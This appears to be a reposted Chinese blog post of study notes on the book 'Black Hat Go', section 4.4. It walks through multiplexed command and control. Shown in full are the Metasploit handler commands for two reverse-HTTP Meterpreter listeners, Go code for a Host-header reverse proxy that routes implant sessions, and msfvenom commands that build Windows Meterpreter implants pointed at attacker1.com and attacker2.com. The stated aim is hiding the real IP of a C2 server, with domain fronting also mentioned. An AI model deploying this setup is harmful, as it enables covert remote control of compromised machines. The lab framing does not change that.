零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter

admin 2022年11月2日01:56:14评论66 views字数 2714阅读9分2秒阅读模式

零基础学go

GO黑帽子学习笔记-4.4 GO代理Meterpreter

(4.4 多路命令与控制)

之前正好学习了使用云函数代理cs的流量,来达到隐藏CS的真实ip的目的。然后正好在GO黑帽子这本书的第四章最后一节中也是讲了一下这个云函数的原理,其实也就是个反向的HTTP代理。这样我们可以基于Host HTTP标头动态路由传入Msf会话。

首先,我们的代理会充当重定向器,允许我们仅公开域名和ip地址,而不用公开Metasploit监听器。而我们可以扩展这些概念来实现域前置,它是一种利用可信第三方域(通常来自云服务器提供商)绕过限制性出口控制技术。并且我们会利用代码来让木马通过一个代理来上线不同的msf服务器。

首先,我们使用msf开启反向HTTP监听器。我们本次演示用同一个主机的两个不同的端口来作示例。

use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set LHOST 192.168.1.2
set LPORT 80
set ReverseListenerBindAdderss 192.168.1.2
set ReverseListenerBindPort 10080
exploit -j -z

use exploit/multi/handler
set payload windows/meterpreter_reverse_http
set LHOST 192.168.1.2
set LPORT 80
set ReverseListenerBindAdderss 192.168.1.2
set ReverseListenerBindPort 20080
exploit -j -z
零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter
零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter

然后我们来编写我们反向服务器的代码,我们的木马首先要访问我们的代理服务器,然后通过我们的代理再将我们的http请求转发到我们的msf服务器上。

package main

import (
"log"
"net/http"
"net/http/httputil"
"net/url"

"github.com/gorilla/mux"
)

var (
hostProxy = make(map[string]string)
proxies = make(map[string]*httputil.ReverseProxy)
)

func init() {
hostProxy["attacker1.com"] = "http://192.168.1.2:10080"
hostProxy["attacker2.com"] = "http://192.168.1.2:20080"

for k, v := range hostProxy {
remote, err := url.Parse(v)
if err != nil {
log.Fatal("Unable to parse proxy target")
}
proxies[k] = httputil.NewSingleHostReverseProxy(remote)
}
}

func main() {
r := mux.NewRouter()
for host, proxy := range proxies {
r.Host(host).Handler(proxy)
}
log.Fatal(http.ListenAndServe(":80", r))
}

首先,我们使用了net/http/httputil包,这个包可以帮助我们快速构建一个反向代理。然后我们来构建一对变量。这两个变量都是映射,我们使用第一个hostProxy将主机名映射到我们希望该主机名路由到的msf监听器url。然后第二个变量proxies也将使用主机名作为键值。但是,它们在映射中的对应值为实例*httputil.ReverseProxy,也就是说,这些值将是可以路由到实际的代理实例,而不是目标的字符串表示形式。

然后我们使用init()函数来进行域名和目标msf服务器之间的映射。我们将attacker1.com的路由请求到192.168.1.2服务器的10080端口,将attacker2.com的路由请求到192.168.1.2的20080端口。然后循环解析目标地址来创建net.URL,并且将其结果用作从URL创建反向代理函数的参数。而且该函数返回值httputil.ReverseProxy属于接口类型http.Handler,也就是说,我们可以利用它直接用阿里当作路由器的处理程序。

最后,我们在main函数中循环,将我们创建好的代理处理程序添加到路由中。而Gorilla MUX工具箱的Route类型包含一个名为Host的匹配函数,通过该函数,我们可以将传入的不同的host值的http请求调用不同的处理程序进行处理。

然后我们使用msf分别创建两个木马。

msfvenom -p windows/meterpreter_reverse_http LHOST=192.168.1.2 LPORT=80 HttpHostHeader=attacker1.com -f exe -o payload1.exe
msfvenom -p windows/meterpreter_reverse_http LHOST=192.168.1.2 LPORT=80 HttpHostHeader=attacker2.com -f exe -o payload2.exe
零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter

由于我们实际在内网环境进行测试,并没有真实的使用域名,而我们编写的代理服务器,是将host头中的域名进行检测,来判断向那个msf服务器进行会话的发送,所以我们要在windows的host文件中将我们的attacker1.com、attacker2.com以及其对应的cs端口添加进去。

192.168.1.2 attacker1.com
192.168.1.2 attacker2.com

运行之后就可以看到我们的木马已经上线。

零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter
零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter

其实在cs中也是一样的道理,我们可以使用这种方法来保护我们的cs服务器真实ip。当然,我们之前说过的腾讯云函数上线也是这个道理,只不过云函数更进一步,会使用不同的网关进行上线。

使


零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter



C2流量混淆


利用云函数隐匿C2


零基础学go-GO黑帽子学习笔记-4.3 利用XSS获取用户输入内容


mac利用腾讯云函数搭建代理池


零基础学go—GO黑帽子学习笔记-3.2 FoFa客户端实现


原文始发于微信公众号(开普勒安全团队):零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreter

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月2日01:56:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   零基础学go-GO黑帽子学习笔记-4.4 GO代理Meterpreterhttps://cn-sec.com/archives/1384014.html

发表评论

匿名网友 填写信息